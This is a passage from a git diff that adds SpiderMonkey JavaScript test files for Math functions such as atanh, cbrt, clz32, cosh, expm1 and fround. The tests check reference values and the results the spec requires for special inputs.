+ [0.919395923614502, 1.5851082843320008],
+ [0.9296839237213135, 1.6560555223295368],
+ [0.9298396110534668, 1.6572041418041492],
+ [0.9352962970733643, 1.6990986433619266],
+ [0.9376416206359863, 1.718164398807965],
+ [0.9410912990570068, 1.7475084077246632],
+ [0.962122917175293, 1.9737180163455101],
+ [0.9748215675354004, 2.1811227771083783],
+ [0.9769454002380371, 2.2257214499698255],
+ [0.985663890838623, 2.4654635601650536],
+ [0.9880380630493164, 2.5565869228142004],
+ [0.9928233623504639, 2.8132383539094192],
+ [1e-300, 1e-300],
+ [0.00001, 0.000010000000000333334],
+ [0.3, 0.3095196042031117],
+ [1e-30, 1e-30],
+ [1e-10, 1e-10],
+];
+
+var sloppy_tolerance = 2; // FIXME
+
+for (var [x, y] of tanh_data)
+ assertNear(Math.atanh(x), y, sloppy_tolerance);
+
+assertNear(Math.atanh(+3 / 5), +Math.log(2), sloppy_tolerance);
+assertNear(Math.atanh(-3 / 5), -Math.log(2), sloppy_tolerance);
+
+for (var i = -1; i < 1; i += 0.05)
+ assertNear(Math.atanh(Math.tanh(i)), i, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/atanh-exact.js b/js/src/tests/non262/Math/atanh-exact.js
new file mode 100644
index 0000000000..f49bdb1ac4
--- /dev/null
+++ b/js/src/tests/non262/Math/atanh-exact.js
@@ -0,0 +1,35 @@
+// Properties of Math.atanh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.atanh(NaN), NaN);
+
+// If x is less than −1, the result is NaN.
+assertEq(Math.atanh(-ONE_PLUS_EPSILON), NaN);
+assertEq(Math.atanh(-Number.MAX_VALUE), NaN);
+assertEq(Math.atanh(-Infinity), NaN);
+
+for (var i = -5; i < -1; i += 0.1)
+ assertEq(Math.atanh(i), NaN);
+
+// If x is greater than 1, the result is NaN.
+assertEq(Math.atanh(ONE_PLUS_EPSILON), NaN);
+assertEq(Math.atanh(Number.MAX_VALUE), NaN);
+assertEq(Math.atanh(Infinity), NaN);
+
+for (var i = +5; i > +1; i -= 0.1)
+ assertEq(Math.atanh(i), NaN);
+
+// If x is −1, the result is −∞.
+assertEq(Math.atanh(-1), -Infinity);
+
+// If x is +1, the result is +∞.
+assertEq(Math.atanh(+1), Infinity);
+
+// If x is +0, the result is +0.
+assertEq(Math.atanh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.atanh(-0), -0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/browser.js b/js/src/tests/non262/Math/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Math/browser.js
diff --git a/js/src/tests/non262/Math/cbrt-approx.js b/js/src/tests/non262/Math/cbrt-approx.js
new file mode 100644
index 0000000000..1f54bb5a62
--- /dev/null
+++ b/js/src/tests/non262/Math/cbrt-approx.js
@@ -0,0 +1,17 @@
+assertEq(Math.cbrt(1), 1);
+assertEq(Math.cbrt(-1), -1);
+
+assertNear(Math.cbrt(1e-300), 1e-100);
+assertNear(Math.cbrt(-1e-300), -1e-100);
+
+var cbrt_data = [
+ [ Math.E, 1.3956124250860895 ],
+ [ Math.PI, 1.4645918875615231 ],
+ [ Math.LN2, 0.8849970445005177 ],
+ [ Math.SQRT2, 1.1224620483093728 ]
+];
+
+for (var [x, y] of cbrt_data)
+ assertNear(Math.cbrt(x), y);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/cbrt-exact.js b/js/src/tests/non262/Math/cbrt-exact.js
new file mode 100644
index 0000000000..e0b7289f03
--- /dev/null
+++ b/js/src/tests/non262/Math/cbrt-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.cbrt that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.cbrt(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.cbrt(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.cbrt(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.cbrt(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.cbrt(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/clz32.js b/js/src/tests/non262/Math/clz32.js
new file mode 100644
index 0000000000..0062676365
--- /dev/null
+++ b/js/src/tests/non262/Math/clz32.js
@@ -0,0 +1,40 @@
+// Undefined and NaN end up as zero after ToUint32
+assertEq(Math.clz32(), 32);
+assertEq(Math.clz32(NaN), 32);
+assertEq(Math.clz32.call(), 32);
+// 0
+assertEq(Math.clz32(null), 32);
+assertEq(Math.clz32(false), 32);
+// 1
+assertEq(Math.clz32(true), 31);
+// 3
+assertEq(Math.clz32(3.5), 30);
+// NaN -> 0
+assertEq(Math.clz32({}), 32);
+// 2
+assertEq(Math.clz32({valueOf: function() { return 2; }}), 30);
+// 0 -> 0
+assertEq(Math.clz32([]), 32);
+assertEq(Math.clz32(""), 32);
+// NaN -> 0
+assertEq(Math.clz32([1, 2, 3]), 32);
+assertEq(Math.clz32("bar"), 32);
+// 15
+assertEq(Math.clz32("15"), 28);
+
+
+assertEq(Math.clz32(0x80000000), 0);
+assertEq(Math.clz32(0xF0FF1000), 0);
+assertEq(Math.clz32(0x7F8F0001), 1);
+assertEq(Math.clz32(0x3FFF0100), 2);
+assertEq(Math.clz32(0x1FF50010), 3);
+assertEq(Math.clz32(0x00800000), 8);
+assertEq(Math.clz32(0x00400000), 9);
+assertEq(Math.clz32(0x00008000), 16);
+assertEq(Math.clz32(0x00004000), 17);
+assertEq(Math.clz32(0x00000080), 24);
+assertEq(Math.clz32(0x00000040), 25);
+assertEq(Math.clz32(0x00000001), 31);
+assertEq(Math.clz32(0), 32);
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Math/cosh-approx.js b/js/src/tests/non262/Math/cosh-approx.js
new file mode 100644
index 0000000000..d724aa2946
--- /dev/null
+++ b/js/src/tests/non262/Math/cosh-approx.js
@@ -0,0 +1,276 @@
+assertEq(Math.cosh(1000), Infinity);
+assertEq(Math.cosh(Number.MAX_VALUE), Infinity);
+assertNear(Math.cosh(1e-30), 1);
+assertNear(Math.cosh(1e-10), 1);
+
+var cosh_data = [
+ [0.0016914556651292944, 1.0000014305114746],
+ [0.001953124689559275, 1.0000019073486328],
+ [0.003782208044661295, 1.000007152557373],
+ [0.005258943946801101, 1.000013828277588],
+ [0.005859366618129203, 1.0000171661376953],
+ [0.010961831992188852, 1.0000600814819336],
+ [0.015285472131830425, 1.0001168251037598],
+ [0.017249319093529877, 1.0001487731933594],
+ [0.028218171738655373, 1.0003981590270996],
+ [0.03573281468231457, 1.000638484954834],
+ [0.046287402472878776, 1.0010714530944824],
+ [0.07771996527168971, 1.0030217170715332],
+ [0.0998975930860278, 1.0049939155578613],
+ [0.13615938768032465, 1.0092840194702148],
+ [0.21942279004958354, 1.024169921875],
+ [0.3511165938166055, 1.0622773170471191],
+ [0.48975026711288183, 1.1223440170288086],
+ [0.692556883708491, 1.2495574951171875],
+ [0.954530572221414, 1.4912219047546387],
+ [1.307581416910453, 1.983847141265869],
+ [1.4035188779741334, 2.1576128005981445],
+ [1.5250070845427517, 2.406397819519043],
+ [1.8905372013072799, 3.386958122253418],
+ [2.1735673399948254, 4.451677322387695],
+ [2.625091127868242, 6.939132690429686],
+ [2.737434918695162, 7.756023406982421],
+ [2.8740317167801948, 8.88236999511719],
+ [2.97998639328949, 9.869171142578123],
+ [3.516549380542481, 16.848876953125],
+ [3.51867003468025, 16.884582519531254],
+ [3.593185165198829, 18.18859100341797],
+ [3.6273672142963385, 18.82012176513672],
+ [3.646553244410946, 19.184181213378906],
+ [3.872413451393967, 24.03952026367187],
+ [3.972085568933329, 26.556991577148434],
+ [4.022209178119238, 27.921104431152337],
+ [4.168428891496629, 32.31466674804686],
+ [4.240546229861005, 34.730087280273445],
+ [4.290698214968891, 36.51556396484376],
+ [4.352722738491574, 38.851287841796875],
+ [4.594386162629449, 49.46875],
+ [4.598500387004538, 49.67265319824219],
+ [4.7152173401856095, 55.821014404296896],
+ [4.73822104001982, 57.119781494140604],
+ [4.793733825338029, 60.37983703613279],
+ [4.8435923769530165, 63.46618652343747],
+ [4.849190310904695, 63.82241821289062],
+ [4.85767897228448, 64.36642456054685],
+ [4.880061548144127, 65.82318115234375],
+ [4.921430721025434, 68.60302734374997],
+ [4.94406835208057, 70.17358398437497],
+ [4.967000841791218, 71.80126953124997],
+ [5.016014824864732, 75.40786743164065],
+ [5.017205657609766, 75.49771118164062],
+ [5.0506448716550825, 78.06475830078126],
+ [5.0707363201405276, 79.64892578125],
+ [5.073517411135063, 79.87072753906253],
+ [5.101574796209937, 82.14324951171874],
+ [5.152357710985635, 86.4221496582031],
+ [5.167705692500117, 87.75869750976562],
+ [5.2390637098028074, 94.24942016601562],
+ [5.247023676519904, 95.00259399414062],
+ [5.258134994273664, 96.06402587890626],
+ [5.289261389093961, 99.10101318359374],
+ [5.345425863147171, 104.82595825195315],
+ [5.3555664787245885, 105.89431762695308],
+ [5.363617180711895, 106.750244140625],
+ [5.388152468690488, 109.40167236328122],
+ [5.405320225963013, 111.2959899902344],
+ [5.417698597745429, 112.68215942382815],
+ [5.445406415908933, 115.8478698730469],
+ [5.501396249028249, 122.51895141601562],
+ [5.531718947357248, 126.29083251953128],
+ [5.544277233951787, 127.88677978515626],
+ [5.547444176085567, 128.29241943359372],
+ [5.556786759298988, 129.49658203125006],
+ [5.625710723366437, 138.7365112304687],
+ [5.628934733085022, 139.18450927734378],
+ [5.634566685055491, 139.97058105468747],
+ [5.660401141376928, 143.63366699218747],
+ [5.698541939965668, 149.21765136718753],
+ [5.7078698961812995, 150.6160278320313],
+ [5.714741890601693, 151.6546020507813],
+ [5.735111323217677, 154.77532958984378],
+ [5.761781191641161, 158.95861816406253],
+ [5.763503378028959, 159.23260498046878],
+ [5.810483079631769, 166.89166259765622],
+ [5.824362807770767, 169.22418212890625],
+ [5.833939098607025, 170.85247802734372],
+ [5.861586030831371, 175.64184570312503],
+ [5.866335876872544, 176.47808837890625],
+ [5.869449614294116, 177.02844238281247],
+ [5.879497954012966, 178.81622314453122],
+ [5.893213844044451, 181.28570556640625],
+ [5.944588630523773, 190.84246826171866],
+ [5.947493525920713, 191.39764404296875],
+ [5.962341215900494, 194.26062011718753],
+ [5.9656082276276, 194.89630126953122],
+ [5.9749284849312865, 196.7212524414062],
+ [5.975165500176202, 196.76788330078128],
+ [5.981706804024238, 198.05920410156241],
+ [5.991310884439669, 199.9705200195312],
+ [6.004868209578554, 202.70001220703122],
+ [6.0159406892865155, 204.95684814453116],
+ [6.025476453825986, 206.92059326171866],
+ [6.047172064627678, 211.45886230468741],
+ [6.0479418642231595, 211.62170410156256],
+ [6.050479329955437, 212.1593627929687],
+ [6.086466833749719, 219.93341064453125],
+ [6.101870903204913, 223.3474731445312],
+ [6.1249427443985525, 228.56036376953128],
+ [6.129204755426344, 229.53656005859375],
+ [6.136241935513706, 231.1575317382813],
+ [6.153688953514383, 235.22589111328134],
+ [6.1619244798633215, 237.17108154296884],
+ [6.165012268502458, 237.90454101562506],
+ [6.187036941752032, 243.202392578125],
+ [6.191527178125454, 244.29687500000003],
+ [6.196001570568187, 245.3923950195312],
+ [6.197677082130341, 245.80389404296875],
+ [6.2133379061260285, 249.68365478515622],
+ [6.223871642756905, 252.3276367187501],
+ [6.228398760115369, 253.47253417968756],
+ [6.269692237869835, 264.1583251953126],
+ [6.276143287577458, 265.8679199218749],
+ [6.305884283737176, 273.89379882812494],
+ [6.306492908028797, 274.0605468750001],
+ [6.3065018163217115, 274.06298828125006],
+ [6.31104892482331, 275.3120117187501],
+ [6.3322712125431915, 281.2171630859374],
+ [6.343324976847916, 284.34289550781244],
+ [6.345081883725142, 284.84289550781256],
+ [6.353683609448096, 287.30358886718756],
+ [6.366114643735997, 290.8973388671876],
+ [6.373476431987165, 293.0467529296875],
+ [6.3734826803404045, 293.04858398437494],
+ [6.3862671775996915, 296.819091796875],
+ [6.389086936901673, 297.6572265625],
+ [6.424562459508495, 308.4062500000001],
+ [6.4506171773701535, 316.5472412109376],
+ [6.462221144761522, 320.24182128906256],
+ [6.468740575092418, 322.33642578125],
+ [6.472375224718483, 323.5101318359374],
+ [6.485834999462654, 327.8939208984375],
+ [6.486412623146554, 328.08337402343744],
+ [6.486812521370483, 328.214599609375],
+ [6.498698952535687, 332.1391601562501],
+ [6.521175044233963, 339.6888427734376],
+ [6.522595306993373, 340.171630859375],
+ [6.522766822935215, 340.2299804687499],
+ [6.52502285413445, 340.99841308593744],
+ [6.5445411825986985, 347.7194824218749],
+ [6.5451209675856825, 347.9211425781249],
+ [6.55061885367159, 349.8392333984375],
+ [6.560126626713879, 353.1812744140626],
+ [6.560510895819139, 353.31701660156244],
+ [6.565186990039135, 354.97302246093756],
+ [6.567067660815945, 355.64123535156233],
+ [6.588081320423386, 363.19360351562517],
+ [6.5896131163651415, 363.7503662109376],
+ [6.597598047275183, 366.66650390624983],
+ [6.608222493065004, 370.5828857421874],
+ [6.611563301604297, 371.822998046875],
+ [6.622421213257873, 375.88220214843756],
+ [6.625684248051368, 377.11071777343744],
+ [6.626950731244344, 377.58862304687483],
+ [6.630267034079059, 378.8428955078124],
+ [6.630977920761718, 379.11230468749994],
+ [6.636217452968849, 381.10388183593756],
+ [6.638857149899159, 382.1112060546874],
+ [6.641161660644278, 382.9927978515625],
+ [6.652047018118426, 387.1845703124999],
+ [6.658445560711748, 389.66992187499994],
+ [6.658790721334144, 389.8044433593749],
+ [6.675345858154136, 396.3114013671875],
+ [6.677094789236718, 397.00512695312494],
+ [6.6775691166680895, 397.1934814453124],
+ [6.679106750673113, 397.80468749999994],
+ [6.681712590609845, 398.84265136718744],
+ [6.682523938576487, 399.16638183593744],
+ [6.68274532345516, 399.2547607421874],
+ [6.685459416477178, 400.3398437499999],
+ [6.694456277839498, 403.9578857421875],
+ [6.6952522228540765, 404.27954101562517],
+ [6.6971746771142415, 405.05749511718744],
+ [6.702764738337774, 407.328125],
+ [6.7033022311799595, 407.54711914062506],
+ [6.710763953621196, 410.59948730468756],
+ [6.711256159037373, 410.8016357421876],
+ [6.712054288828399, 411.12963867187494],
+ [6.713939407502346, 411.9053955078124],
+ [6.722828986708716, 415.5833740234374],
+ [6.727835453862132, 417.66918945312506],
+ [6.734632628835641, 420.51782226562506],
+ [6.743787740494532, 424.38537597656233],
+ [6.744565219553757, 424.71545410156244],
+ [6.7715720212680655, 436.3419189453125],
+ [6.776510146304201, 438.50195312500017],
+ [6.778412462065226, 439.33691406250017],
+ [6.79247934060035, 445.5606689453126],
+ [6.809016260337229, 452.9901123046875],
+ [6.810747231716348, 453.7749023437499],
+ [6.817335895109251, 456.7745361328125],
+ [6.819910421197311, 457.9520263671875],
+ [6.821497844004013, 458.6795654296874],
+ [6.8254946428721475, 460.51647949218767],
+ [6.828433164406687, 461.87170410156256],
+ [6.834543470287694, 464.70251464843756],
+ [6.839609377592375, 467.06262207031267],
+ [6.839627933844213, 467.0712890625001],
+ [6.846084943645239, 470.09692382812494],
+ [6.856799276049143, 475.16076660156233],
+ [6.861822721577315, 477.5537109374998],
+ [6.864066049482581, 478.62622070312517],
+ [6.864420497333681, 478.79589843750017],
+ [6.866278653973069, 479.68640136718733],
+ [6.866487814627139, 479.7867431640625],
+ [6.8667493311188395, 479.9122314453126],
+ [6.872084270243208, 482.4793701171875],
+ [6.872164723177875, 482.5181884765627],
+ [6.874982560453874, 483.87976074218767],
+ [6.876191234145179, 484.46496582031233],
+ [6.877966548833207, 485.3258056640624],
+ [6.888721726428236, 490.57373046875006],
+ [6.89515989558997, 493.74230957031244],
+ [6.896232568812718, 494.2722167968751],
+ [6.900624415355815, 496.44775390624983],
+ [6.901816998553275, 497.0401611328125],
+ [6.9042162822876465, 498.23413085937483],
+ [7.193052598670793, 665.0791015625001],
+ [7.758155143419732, 1170.29150390625],
+ [8.323023697145112, 2058.795898437501],
+ [9.36298131161099, 5824.533203125004],
+ [9.810748008110926, 9114.308593750004],
+ [11.047341056314202, 31388.40624999998],
+ [11.584925435512535, 53732.765624999956],
+ [12.366958539207397, 117455.0937500001],
+ [13.107089828327874, 246210.62499999983],
+ [13.84248373881162, 513670.1250000003],
+ [14.27084873575108, 788353.2499999999],
+ [15.060339852215408, 1736170.999999999],
+ [15.835873313657556, 3770530.0000000005],
+ [15.977474039173265, 4344089.999999998],
+ [16.943967899150145, 11419360.000000006],
+ [17.943394339560967, 31023239.99999997],
+ [18.214035936745432, 40665424.00000006],
+ [19.374560581709215, 129788063.99999991],
+ [19.927723623778547, 225668224.00000027],
+ [20.619308638400597, 450631936.0000006],
+ [21.129986093026698, 750941952.0000008],
+ [22.05159150215413, 1887358976.0000033],
+ [22.734966842639743, 3738011648.0000052],
+ [23.42954051928097, 7486695423.99999],
+ [23.955498471391667, 12668080127.99998],
+ [24.591055724582848, 23918272512],
+ [25.305424481799395, 48862560256.00005],
+ [26.150535181949436, 113763549183.99998],
+ [26.499894449532565, 161334755328.00018],
+ [27.19075733422632, 321933279232.0004],
+ [27.989721778208146, 715734122496],
+ [28.953212876533797, 1875817529343.9976],
+];
+
+for (var [x, y] of cosh_data)
+ assertNear(Math.cosh(x), y);
+
+for (var i = -20; i < 20; i++)
+ assertNear(Math.cosh(i), (Math.exp(i) + Math.exp(-i)) / 2);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/cosh-exact.js b/js/src/tests/non262/Math/cosh-exact.js
new file mode 100644
index 0000000000..a302776c4f
--- /dev/null
+++ b/js/src/tests/non262/Math/cosh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.cosh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.cosh(NaN), NaN);
+
+// If x is +0, the result is 1.
+assertEq(Math.cosh(+0), 1);
+
+// If x is −0, the result is 1.
+assertEq(Math.cosh(-0), 1);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.cosh(Infinity), Infinity);
+
+// If x is −∞, the result is +∞.
+assertEq(Math.cosh(-Infinity), Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/exp-exact.js b/js/src/tests/non262/Math/exp-exact.js
new file mode 100644
index 0000000000..e004f74718
--- /dev/null
+++ b/js/src/tests/non262/Math/exp-exact.js
@@ -0,0 +1,29 @@
+// Properties of Math.exp that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.exp(NaN), NaN);
+
+// If x is +0, the result is 1.
+assertEq(Math.exp(+0), 1);
+
+// If x is −0, the result is 1.
+assertEq(Math.exp(-0), 1);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.exp(Infinity), Infinity);
+
+// If x is −∞, the result is +0.
+assertEq(Math.exp(-Infinity), +0);
+
+
+// Not guaranteed by the specification, but generally assumed to hold.
+
+// If x is 1, the result is Math.E.
+assertEq(Math.exp(1), Math.E);
+
+// If x is -1, the result is 1/Math.E.
+assertEq(Math.exp(-1), 1 / Math.E);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Math/expm1-approx.js b/js/src/tests/non262/Math/expm1-approx.js
new file mode 100644
index 0000000000..397ab97ebf
--- /dev/null
+++ b/js/src/tests/non262/Math/expm1-approx.js
@@ -0,0 +1,62 @@
+assertNear(Math.expm1(1e-300), 1e-300);
+assertNear(Math.expm1(1e-100), 1e-100);
+assertNear(Math.expm1(1e-14), 1.000000000000005e-14);
+assertNear(Math.expm1(1e-6), 0.0000010000005000001665);
+
+var expm1_data = [
+ [ -1.875817529344e-70, -1.875817529344e-70 ],
+ [ -7.09962844069878e-15, -7.099628440698755e-15 ],
+ [ -2.114990849122478e-10, -2.1149908488988187e-10 ],
+ [ -0.0000031404608812881633, -0.000003140455950046052 ],
+
+ [ -0.0000011039855962733358, -0.0000011039849868814618 ],
+ [ -0.000015114666893502755, -0.0000151145526675006 ],
+ [ -0.000033870281179478836, -0.000033869707587981166 ],
+ [ -0.00043952149320897676, -0.00043942491778698985 ],
+ [ -0.005553725496786973, -0.005538332073473123 ],
+ [ -0.05122020579778827, -0.049930563302241604 ],
+ [ -0.4721357117742938, -0.3763311320344197 ],
+ [ -1.2781607348262256, -0.7214508446489242 ],
+
+ [ 1.875817529344e-70, 1.875817529344e-70 ],
+ [ 6.261923313140869e-30, 6.261923313140869e-30 ],
+ [ 7.09962844069878e-15, 7.099628440698805e-15 ],
+ [ 1.3671879628418538e-12, 1.3671879628427884e-12 ],
+ [ 2.114990849122478e-10, 2.1149908493461373e-10 ],
+ [ 1.6900931765206906e-8, 1.6900931908027652e-8 ],
+ [ 0.0000031404608812881633, 0.0000031404658125405988 ],
+
+ [ 0.0000011039855962733358, 0.0000011039862056656584 ],
+ [ 0.000015114666893502755, 0.000015114781120655907 ],
+ [ 0.000033870281179478836, 0.00003387085478392845 ],
+ [ 0.00043952149320897676, 0.0004396180969330924 ],
+ [ 0.005553725496786973, 0.005569176019645543 ],
+ [ 0.05122020579778827, 0.05255464640120383 ],
+ [ 0.4721357117742938, 0.6034149712523235 ],
+ [ 1.2781607348262256, 2.590030631181154 ],
+
+ [ 3.0693960800487883, 20.528897017773147 ],
+ [ 5.560441648750136, 258.9376120972927 ],
+ [ 7.4227656046482595, 1672.6557833191303 ],
+ [ 11.378926299184645, 87458.07941992789 ],
+];
+
+for (var [x, y] of expm1_data)
+ assertNear(Math.expm1(x), y);
+
+var sloppy_tolerance = 34;
+
+var expm1_data_sloppy = [
+ [ 20.11881628179155, 546375092.2355127 ],
+ [ 33.45034324980283, 336743709091858.2 ],
+ [ 46.43974518513109, 147409364838076710000 ],
+ [ 54.60105936314322, 5.163435870507142e+23 ],
+ [ 84.29619209850242, 4.067907545704549e+36 ],
+ [ 125.38131800315817, 2.8340959047812913e+54 ],
+ [ 216.85489905212918, 1.5096839294759775e+94 ],
+];
+
+for (var [x, y] of expm1_data_sloppy)
+ assertNear(Math.expm1(x), y, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/expm1-exact.js b/js/src/tests/non262/Math/expm1-exact.js
new file mode 100644
index 0000000000..57b94ed225
--- /dev/null
+++ b/js/src/tests/non262/Math/expm1-exact.js
@@ -0,0 +1,20 @@
+// Properties of Math.expm1 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.expm1(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.expm1(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.expm1(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.expm1(Infinity), Infinity);
+
+// If x is −∞, the result is -1.
+assertEq(Math.expm1(-Infinity), -1);
+
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/expm1-monotonicity.js b/js/src/tests/non262/Math/expm1-monotonicity.js
new file mode 100644
index 0000000000..2ae25708d1
--- /dev/null
+++ b/js/src/tests/non262/Math/expm1-monotonicity.js
@@ -0,0 +1,94 @@
+var BUGNUMBER = 897634;
+var summary = "expm1 should be monotonically increasing";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(x, prev, next) {
+ assertEq(Math.expm1(prev) <= Math.expm1(x), true);
+ assertEq(Math.expm1(x) <= Math.expm1(next), true);
+}
+
+// Thresholds in fdlibm expm1 implementation.
+
+// |hx| == 0x40862E42 or not
+test(-709.7822265625, -709.7822265625001, -709.7822265624999);
+test(709.7822265625, 709.7822265624999, 709.7822265625001);
+
+// |hx| == 0x4043687A or not
+test(-38.81622314453125, -38.81622314453126, -38.81622314453124);
+test(38.81622314453125, 38.81622314453124, 38.81622314453126);
+
+// |hx| == 0x7ff00000 or not
+test(-1.7976931348623157e+308, -Infinity, -1.7976931348623155e+308);
+test(1.7976931348623157e+308, 1.7976931348623155e+308, Infinity);
+
+// |hx| == 0x3fd62e42 or not
+test(-0.3465733528137207, -0.34657335281372076, -0.34657335281372065);
+test(0.3465733528137207, 0.34657335281372065, 0.34657335281372076);
+
+// |hx| == 0x3FF0A2B2 or not
+test(-1.0397205352783203, -1.0397205352783205, -1.03972053527832);
+test(1.0397205352783203, 1.03972053527832, 1.0397205352783205);
+
+// |hx| == 0x3c900000 or not
+test(-5.551115123125783e-17, -5.551115123125784e-17, -5.551115123125782e-17);
+test(5.551115123125783e-17, 5.551115123125782e-17, 5.551115123125784e-17);
+
+// x < -0.25 or not
+test(-0.25, -0.25000000000000006, -0.24999999999999997);
+
+// k == -1 or k == -2
+test(-1.0397207708399179, -1.039720770839918, -1.0397207708399177);
+
+// k == -1 or k == 0
+test(-0.3465735912322998, -0.34657359123229986, -0.34657359123229975);
+
+// k == 0 or k == 1
+test(0.3465735912322998, 0.34657359123229975, 0.34657359123229986);
+
+// k == 1 or k == 2
+test(1.039720770839918, 1.0397207708399179, 1.0397207708399183);
+
+// k == 19 or k == 20
+test(13.516370020918933, 13.51637002091893, 13.516370020918934);
+
+// k == 56 or k == 57
+test(39.16281570163691, 39.1628157016369, 39.162815701636916);
+
+// k == 1023 or k == 1024
+test(709.436139303104, 709.4361393031039, 709.4361393031041);
+
+// k == 1024 or more
+test(709.7827128933841, 709.782712893384, 709.7827128933842);
+
+// Some more random cases.
+test(-1.7976931348623157e+308, -Infinity, -1.7976931348623155e+308);
+test(-1e+223, -1.0000000000000002e+223, -9.999999999999999e+222);
+test(-1e+100, -1.0000000000000002e+100, -9.999999999999998e+99);
+test(-10000000000, -10000000000.000002, -9999999999.999998);
+test(-100000, -100000.00000000001, -99999.99999999999);
+test(-100, -100.00000000000001, -99.99999999999999);
+test(-10, -10.000000000000002, -9.999999999999998);
+test(-1, -1, -0.9999999999999999);
+test(-0.01, -0.010000000000000002, -0.009999999999999998);
+test(-0.00001, -0.000010000000000000003, -0.000009999999999999999);
+test(-1e-10, -1.0000000000000002e-10, -9.999999999999999e-11);
+test(-1e-100, -1.0000000000000001e-100, -9.999999999999999e-101);
+test(-5e-324, -1e-323, 0);
+test(0, -5e-324, 5e-324);
+test(5e-324, 0, 1e-323);
+test(1e-100, 9.999999999999999e-101, 1.0000000000000001e-100);
+test(1e-10, 9.999999999999999e-11, 1.0000000000000002e-10);
+test(0.00001, 0.000009999999999999999, 0.000010000000000000003);
+test(0.01, 0.009999999999999998, 0.010000000000000002);
+test(1, 0.9999999999999999, 1);
+test(10, 9.999999999999998, 10.000000000000002);
+test(100, 99.99999999999999, 100.00000000000001);
+test(100000, 99999.99999999999, 100000.00000000001);
+test(10000000000, 9999999999.999998, 10000000000.000002);
+test(1e+100, 9.999999999999998e+99, 1.0000000000000002e+100);
+test(1e+223, 9.999999999999999e+222, 1.0000000000000002e+223);
+test(1.7976931348623157e+308, 1.7976931348623155e+308, Infinity);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Math/fround.js b/js/src/tests/non262/Math/fround.js
new file mode 100644
index 0000000000..353f798d5d
--- /dev/null
+++ b/js/src/tests/non262/Math/fround.js
@@ -0,0 +1,81 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Some tests regarding conversion to Float32
+assertEq(Math.fround(), NaN);
+
+// Special values
+assertEq(Math.fround(NaN), NaN);
+assertEq(Math.fround(-Infinity), -Infinity);
+assertEq(Math.fround(Infinity), Infinity);
+assertEq(Math.fround(-0), -0);
+assertEq(Math.fround(+0), +0);
+
+// Polyfill function for Float32 conversion
+var toFloat32 = (function() {
+ var f32 = new Float32Array(1);
+ function f(x) {
+ f32[0] = x;
+ return f32[0];
+ }
+ return f;
+})();
+
+// A test on a certain range of numbers, including big numbers, so that
+// we get a loss in precision for some of them.
+for (var i = 0; i < 64; ++i) {
+ var p = Math.pow(2, i) + 1;
+ assertEq(Math.fround(p), toFloat32(p));
+ assertEq(Math.fround(-p), toFloat32(-p));
+}
+
+/********************************************
+/* Tests on maximal Float32 / Double values *
+/*******************************************/
+function maxValue(exponentWidth, significandWidth) {
+ var n = 0;
+ var maxExp = Math.pow(2, exponentWidth - 1) - 1;
+ for (var i = significandWidth; i >= 0; i--)
+ n += Math.pow(2, maxExp - i);
+ return n;
+}
+
+var DBL_MAX = maxValue(11, 52);
+assertEq(DBL_MAX, Number.MAX_VALUE); // sanity check
+
+// Finite as a double, too big for a float
+assertEq(Math.fround(DBL_MAX), Infinity);
+
+var FLT_MAX = maxValue(8, 23);
+assertEq(Math.fround(FLT_MAX), FLT_MAX);
+assertEq(Math.fround(FLT_MAX + Math.pow(2, Math.pow(2, 8 - 1) - 1 - 23 - 2)), FLT_MAX); // round-nearest rounds down to FLT_MAX
+assertEq(Math.fround(FLT_MAX + Math.pow(2, Math.pow(2, 8 - 1) - 1 - 23 - 1)), Infinity); // no longer rounds down to FLT_MAX
+
+/*********************************************************
+/******* Tests on denormalizations and roundings *********
+/********************************************************/
+
+function minValue(exponentWidth, significandWidth) {
+ return Math.pow(2, -(Math.pow(2, exponentWidth - 1) - 2) - significandWidth);
+}
+
+var DBL_MIN = Math.pow(2, -1074);
+assertEq(DBL_MIN, Number.MIN_VALUE); // sanity check
+
+// Too small for a float
+assertEq(Math.fround(DBL_MIN), 0);
+
+var FLT_MIN = minValue(8, 23);
+assertEq(Math.fround(FLT_MIN), FLT_MIN);
+
+assertEq(Math.fround(FLT_MIN / 2), 0); // halfway, round-nearest rounds down to 0 (even)
+assertEq(Math.fround(FLT_MIN / 2 + Math.pow(2, -202)), FLT_MIN); // first double > FLT_MIN / 2, rounds up to FLT_MIN
+
